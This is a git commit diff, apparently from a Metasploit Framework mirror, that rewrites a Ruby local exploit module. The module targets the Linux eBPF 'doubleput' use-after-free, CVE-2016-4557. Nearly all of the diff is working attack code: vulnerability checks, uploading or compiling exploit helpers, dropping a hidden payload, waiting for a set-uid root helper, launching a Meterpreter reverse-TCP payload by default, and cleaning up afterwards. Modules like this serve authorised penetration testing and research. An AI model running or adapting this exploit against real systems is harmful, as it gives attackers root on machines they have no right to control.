1
mirror of https://github.com/rapid7/metasploit-framework synced 2024-07-18 18:31:41 +02:00

Fix bpf_priv_esc module

This commit is contained in:
Brendan Coles 2018-12-12 17:23:12 +00:00
parent f4453be69e
commit 68d451711b
2 changed files with 256 additions and 205 deletions

View File

@ -7,136 +7,239 @@ class MetasploitModule < Msf::Exploit::Local
Rank = GoodRanking
include Msf::Post::File
include Msf::Post::Linux::Priv
include Msf::Post::Linux::System
include Msf::Post::Linux::Kernel
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper
def initialize(info={})
super( update_info( info, {
'Name' => 'Linux BPF Local Privilege Escalation',
'Description' => %q{
Linux kernel >=4.4 with CONFIG_BPF_SYSCALL and kernel.unprivileged_bpf_disabled
sysctl is not set to 1, BPF can be abused to priv escalate.
Ubuntu 16.04 has all of these conditions met.
def initialize(info = {})
super( update_info( info,
'Name' => 'Linux BPF doubleput UAF Privilege Escalation',
'Description' => %q{
Linux kernel 4.4 < 4.5.5 extended Berkeley Packet Filter (eBPF)
does not properly reference count file descriptors, resulting
in a use-after-free, which can be abused to escalate privileges.
The target system must be compiled with CONFIG_BPF_SYSCALL
and must not have kernel.unprivileged_bpf_disabled set to 1.
Ubuntu kernels prior to 4.4.0-22-generic are vulnerable.
This module has been tested successfully on Ubuntu 16.04 (x64)
kernel 4.4.0-21-generic.
},
'License' => MSF_LICENSE,
'Author' =>
[
'jannh@google.com', # discovery
'h00die <mike@shorebreaksecurity.com>' # metasploit module
],
'Platform' => ['linux'],
'Arch' => [ARCH_X86, ARCH_X64],
'SessionTypes' => ['shell', 'meterpreter'],
'DisclosureDate' => '2016-05-04',
'Privileged' => true,
'References' =>
[
['BID', '90309'],
['CVE', '2016-4557'],
['EDB', '39772'],
['URL', 'https://bugs.chromium.org/p/project-zero/issues/detail?id=808'],
['URL', 'https://usn.ubuntu.com/2965-1/'],
['URL', 'https://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=8358b02bf67d3a5d8a825070e1aa73f25fb2e4c7']
],
'Targets' =>
[
[ 'Linux x86', { 'Arch' => ARCH_X86 } ],
[ 'Linux x64', { 'Arch' => ARCH_X64 } ]
],
'DefaultOptions' =>
{
'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp',
'PrependFork' => true,
'WfsDelay' => 60 # we can chew up a lot of CPU for this, so we want to give time for payload to come through
},
'License' => MSF_LICENSE,
'Author' =>
[
'jannh@google.com', # discovery
'h00die <mike@shorebreaksecurity.com>' # metasploit module
],
'Platform' => [ 'linux' ],
'Arch' => [ ARCH_X86, ARCH_X64 ],
'SessionTypes' => [ 'shell', 'meterpreter' ],
'References' =>
[
[ 'CVE', '2016-4557' ],
[ 'EDB', '39772' ],
[ 'URL', 'https://bugs.chromium.org/p/project-zero/issues/detail?id=808' ],
[ 'URL', 'https://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=8358b02bf67d3a5d8a825070e1aa73f25fb2e4c7' ]
],
'Targets' =>
[
[ 'Linux x86', { 'Arch' => ARCH_X86 } ],
[ 'Linux x64', { 'Arch' => ARCH_X64 } ]
],
'DefaultOptions' =>
{
'payload' => 'linux/x64/meterpreter/reverse_tcp',
'PrependFork' => true,
'WfsDelay' => 60 # we can chew up a lot of CPU for this, so we want to give time for payload to come through
},
'DefaultTarget' => 1,
'DisclosureDate' => 'May 04 2016',
'Privileged' => true
}
))
'Notes' =>
{
'AKA' =>
[
'doubleput.c'
]
},
'DefaultTarget' => 1))
register_options [
OptEnum.new('COMPILE', [ true, 'Compile on target', 'Auto', ['Auto', 'True', 'False']]),
OptInt.new('MAXWAIT', [ true, 'Max seconds to wait for decrementation in seconds', 120 ])
OptEnum.new('COMPILE', [true, 'Compile on target', 'Auto', ['Auto', 'True', 'False']]),
OptInt.new('MAXWAIT', [true, 'Max time to wait for decrementation in seconds', 120])
]
register_advanced_options [
OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ]),
OptBool.new('ForceExploit', [false, 'Override check result', false]),
OptString.new('WritableDir', [true, 'A directory where we can write files', '/tmp']),
]
end
def base_dir
datastore['WritableDir'].to_s
end
def exploit_data(file)
::File.binread ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2016-4557', file)
end
def upload(path, data)
print_status "Writing '#{path}' (#{data.size} bytes) ..."
rm_f path
write_file path, data
register_file_for_cleanup path
end
def upload_and_chmodx(path, data)
upload path, data
chmod path
end
def live_compile?
return false unless datastore['COMPILE'].eql?('Auto') || datastore['COMPILE'].eql?('True')
return true if has_prereqs?
unless datastore['COMPILE'].eql? 'Auto'
fail_with Failure::BadConfig, 'Prerequisites are not installed. Compiling will fail.'
end
end
def has_prereqs?
def check_libfuse_dev?
lib = cmd_exec('dpkg --get-selections | grep libfuse-dev')
if lib.include?('install')
vprint_good('libfuse-dev is installed')
return true
else
print_error('libfuse-dev is not installed. Compiling will fail.')
return false
end
end
def check_gcc?
if has_gcc?
vprint_good('gcc is installed')
return true
else
print_error('gcc is not installed. Compiling will fail.')
return false
end
end
def check_pkgconfig?
lib = cmd_exec('dpkg --get-selections | grep ^pkg-config')
if lib.include?('install')
vprint_good('pkg-config is installed')
return true
else
print_error('pkg-config is not installed. Exploitation will fail.')
return false
end
end
return check_libfuse_dev? && check_gcc? && check_pkgconfig?
end
def upload_and_compile(path, data, gcc_args='')
upload "#{path}.c", data
gcc_cmd = "gcc -o #{path} #{path}.c"
if session.type.eql? 'shell'
gcc_cmd = "PATH=$PATH:/usr/bin/ #{gcc_cmd}"
end
unless gcc_args.to_s.blank?
gcc_cmd << " #{gcc_args}"
end
output = cmd_exec gcc_cmd
unless output.blank?
print_error output
fail_with Failure::Unknown, "#{path}.c failed to compile. Set COMPILE False to upload a pre-compiled executable."
end
register_file_for_cleanup path
chmod path
end
def check
def check_config_bpf_syscall?
config = kernel_config
if config.nil?
vprint_error 'Could not retrieve kernel config'
return
end
unless config.include? 'CONFIG_BPF_SYSCALL=y'
vprint_error 'Kernel config does not include CONFIG_BPF_SYSCALL'
return false
end
vprint_good 'Kernel config has CONFIG_BPF_SYSCALL enabled'
true
release = kernel_release
if Gem::Version.new(release.split('-').first) < Gem::Version.new('4.4') ||
Gem::Version.new(release.split('-').first) >= Gem::Version.new('4.5.5')
vprint_error "Kernel version #{release} is not vulnerable"
return CheckCode::Safe
end
def check_kernel_disabled?
if unprivileged_bpf_disabled?
vprint_error 'Unprivileged BPF loading is not permitted'
return false
end
vprint_good 'Unprivileged BPF loading is permitted'
true
end
def check_fuse?()
lib = cmd_exec('dpkg --get-selections | grep ^fuse')
if lib.include?('install')
vprint_good('fuse is installed')
return true
else
print_error('fuse is not installed. Exploitation will fail.')
return false
# Ubuntu kernel version check
if release =~ /^4\.4\.0-(\d+)-generic/
if $1.to_i > 21
vprint_error "Kernel version #{release} is not vulnerable"
return CheckCode::Safe
end
end
vprint_good "Kernel version #{release} appears to be vulnerable"
def mount_point_exists?()
if directory?('/tmp/fuse_mount')
print_error('/tmp/fuse_mount should be unmounted and deleted. Exploitation will fail.')
return false
else
vprint_good('/tmp/fuse_mount doesn\'t exist')
return true
end
lib = cmd_exec('dpkg --get-selections | grep ^fuse').to_s
unless lib.include?('install')
print_error('fuse package is not installed. Exploitation will fail.')
return CheckCode::Safe
end
vprint_good('fuse package is installed')
fuse_mount = "#{base_dir}/fuse_mount"
if directory? fuse_mount
vprint_error("#{fuse_mount} should be unmounted and deleted. Exploitation will fail.")
return CheckCode::Safe
end
vprint_good("#{fuse_mount} doesn't exist")
config = kernel_config
if config.nil?
vprint_error 'Could not retrieve kernel config'
return CheckCode::Unknown
end
if check_config_bpf_syscall?() && check_kernel_disabled?() && check_fuse?() && mount_point_exists?()
CheckCode::Appears
else
CheckCode::Safe
unless config.include? 'CONFIG_BPF_SYSCALL=y'
vprint_error 'Kernel config does not include CONFIG_BPF_SYSCALL'
return CheckCode::Safe
end
vprint_good 'Kernel config has CONFIG_BPF_SYSCALL enabled'
if unprivileged_bpf_disabled?
vprint_error 'Unprivileged BPF loading is not permitted'
return CheckCode::Safe
end
vprint_good 'Unprivileged BPF loading is permitted'
CheckCode::Appears
end
def exploit
def upload_and_compile(filename, file_path, file_content, compile=nil)
rm_f "#{file_path}"
if not compile.nil?
rm_f "#{file_path}.c"
vprint_status("Writing #{filename} to #{file_path}.c")
write_file("#{file_path}.c", file_content)
register_file_for_cleanup("#{file_path}.c")
output = cmd_exec(compile)
if output != ''
print_error(output)
fail_with(Failure::Unknown, "#{filename} at #{file_path}.c failed to compile")
end
else
vprint_status("Writing #{filename} to #{file_path}")
write_file(file_path, file_content)
unless check == CheckCode::Appears
unless datastore['ForceExploit']
fail_with Failure::NotVulnerable, 'Target is not vulnerable. Set ForceExploit to override.'
end
cmd_exec("chmod +x #{file_path}");
register_file_for_cleanup(file_path)
print_warning 'Target does not appear to be vulnerable'
end
if is_root?
unless datastore['ForceExploit']
fail_with Failure::BadConfig, 'Session already has root privileges. Set ForceExploit to override.'
end
end
unless writable? base_dir
fail_with Failure::BadConfig, "#{base_dir} is not writable"
end
if nosuid? base_dir
fail_with Failure::BadConfig, "#{base_dir} is mounted nosuid"
end
doubleput = %q{
@ -389,120 +492,68 @@ class MetasploitModule < Msf::Exploit::Local
}
}
hello_filename = 'hello'
hello_path = "#{datastore['WritableDir']}/#{hello_filename}"
doubleput_file = "#{datastore['WritableDir']}/doubleput"
suidhelper_filename = 'suidhelper'
suidhelper_path = "#{datastore['WritableDir']}/#{suidhelper_filename}"
payload_filename = rand_text_alpha(8)
payload_path = "#{datastore['WritableDir']}/#{payload_filename}"
@hello_name = 'hello'
hello_path = "#{base_dir}/#{@hello_name}"
@doubleput_name = 'doubleput'
doubleput_path = "#{base_dir}/#{@doubleput_name}"
@suidhelper_path = "#{base_dir}/suidhelper"
payload_path = "#{base_dir}/.#{rand_text_alphanumeric(10..15)}"
if check != CheckCode::Appears
fail_with(Failure::NotVulnerable, 'Target not vulnerable! punt!')
if live_compile?
vprint_status 'Live compiling exploit on system...'
upload_and_compile(hello_path, hello, '-Wall -std=gnu99 `pkg-config fuse --cflags --libs`')
upload_and_compile(doubleput_path, doubleput, '-Wall')
upload_and_compile(@suidhelper_path, suid_helper, '-Wall')
else
vprint_status 'Dropping pre-compiled exploit on system...'
upload_and_chmodx(hello_path, exploit_data('hello'))
upload_and_chmodx(doubleput_path, exploit_data('doubleput'))
upload_and_chmodx(@suidhelper_path, exploit_data('suidhelper'))
end
def has_prereqs?()
def check_libfuse_dev?()
lib = cmd_exec('dpkg --get-selections | grep libfuse-dev')
if lib.include?('install')
vprint_good('libfuse-dev is installed')
return true
else
print_error('libfuse-dev is not installed. Compiling will fail.')
return false
end
end
def check_gcc?()
gcc = cmd_exec('which gcc')
if gcc.include?('gcc')
vprint_good('gcc is installed')
return true
else
print_error('gcc is not installed. Compiling will fail.')
return false
end
end
def check_pkgconfig?()
lib = cmd_exec('dpkg --get-selections | grep ^pkg-config')
if lib.include?('install')
vprint_good('pkg-config is installed')
return true
else
print_error('pkg-config is not installed. Exploitation will fail.')
return false
end
end
return check_libfuse_dev?() && check_gcc?() && check_pkgconfig?()
end
vprint_status 'Uploading payload...'
upload_and_chmodx(payload_path, generate_payload_exe)
compile = false
if datastore['COMPILE'] == 'Auto' || datastore['COMPILE'] == 'True'
if has_prereqs?()
compile = true
vprint_status('Live compiling exploit on system')
else
vprint_status('Dropping pre-compiled exploit on system')
end
end
print_status('Launching exploit. This may take up to 120 seconds.')
if compile == false
# doubleput file
path = ::File.join( Msf::Config.data_directory, 'exploits', 'CVE-2016-4557', 'doubleput')
fd = ::File.open( path, "rb")
doubleput = fd.read(fd.stat.size)
fd.close
# hello file
path = ::File.join( Msf::Config.data_directory, 'exploits', 'CVE-2016-4557', 'hello')
fd = ::File.open( path, "rb")
hello = fd.read(fd.stat.size)
fd.close
# suidhelper file
path = ::File.join( Msf::Config.data_directory, 'exploits', 'CVE-2016-4557', 'suidhelper')
fd = ::File.open( path, "rb")
suid_helper = fd.read(fd.stat.size)
fd.close
# overwrite with the hardcoded variable names in the compiled versions
payload_filename = 'AyDJSaMM'
payload_path = '/tmp/AyDJSaMM'
end
# make our substitutions so things are dynamic
suid_helper.gsub!(/execl\("\/bin\/bash", "bash", NULL\);/,
"return execl(\"#{payload_path}\", \"\", NULL);") #launch our payload, and do it in a return to not freeze the executable
doubleput.gsub!(/execl\(".\/suidhelper", "suidhelper", NULL\);/,
'exit(0);')
print_status('Writing files to target')
cmd_exec("cd #{datastore['WritableDir']}")
upload_and_compile('hello', hello_path, hello, compile ? "gcc -o #{hello_filename} #{hello_filename}.c -Wall -std=gnu99 `pkg-config fuse --cflags --libs`" : nil)
upload_and_compile('doubleput', doubleput_file, doubleput, compile ? "gcc -o #{doubleput_file} #{doubleput_file}.c -Wall" : nil)
upload_and_compile('suidhelper', suidhelper_path, suid_helper, compile ? "gcc -o #{suidhelper_filename} #{suidhelper_filename}.c -Wall" : nil)
upload_and_compile('payload', payload_path, generate_payload_exe)
print_status('Starting execution of priv esc. This may take about 120 seconds')
cmd_exec(doubleput_file)
register_dir_for_cleanup "#{base_dir}/fuse_mount"
cmd_exec "cd #{base_dir}; #{doubleput_path} & echo "
sec_waited = 0
until sec_waited > datastore['MAXWAIT'] do
Rex.sleep(1)
Rex.sleep(5)
# check file permissions
if cmd_exec("ls -lah #{suidhelper_path}").include?('-rwsr-sr-x 1 root root')
print_good('got root, starting payload')
print_error('This exploit may require process killing of \'hello\', and \'doubleput\' on the target')
print_error('This exploit may require manual umounting of /tmp/fuse_mount via \'fusermount -z -u /tmp/fuse_mount\' on the target')
print_error('This exploit may require manual deletion of /tmp/fuse_mount via \'rm -rf /tmp/fuse_mount\' on the target')
cmd_exec("#{suidhelper_path}")
if setuid? @suidhelper_path
print_good("Success! set-uid root #{@suidhelper_path}")
cmd_exec "echo '#{payload_path} & exit' | #{@suidhelper_path} "
return
end
sec_waited +=1
sec_waited += 5
end
print_error "Failed to set-uid root #{@suidhelper_path}"
end
def cleanup
cmd_exec "killall #{@hello_name}"
cmd_exec "killall #{@doubleput_name}"
end
def on_new_session(session)
# if we don't /bin/bash here, our payload times out
# [*] Meterpreter session 2 opened (192.168.199.131:4444 -> 192.168.199.130:37022) at 2016-09-27 14:15:04 -0400
# [*] 192.168.199.130 - Meterpreter session 2 closed. Reason: Died
session.shell_command_token('/bin/bash')
# remove root owned SUID executable and kill running exploit processes
if session.type.eql? 'meterpreter'
session.core.use 'stdapi' unless session.ext.aliases.include? 'stdapi'
session.fs.file.rm @suidhelper_path
session.sys.process.execute '/bin/sh', "-c 'killall #{@doubleput_name}'"
session.sys.process.execute '/bin/sh', "-c 'killall #{@hello_name}'"
session.fs.file.rm "#{base_dir}/fuse_mount"
else
session.shell_command_token "rm -f '#{@suidhelper_path}'"
session.shell_command_token "killall #{@doubleput_name}"
session.shell_command_token "killall #{@hello_name}"
session.shell_command_token "rm -f '#{base_dir}/fuse_mount'"
end
ensure
super
end
end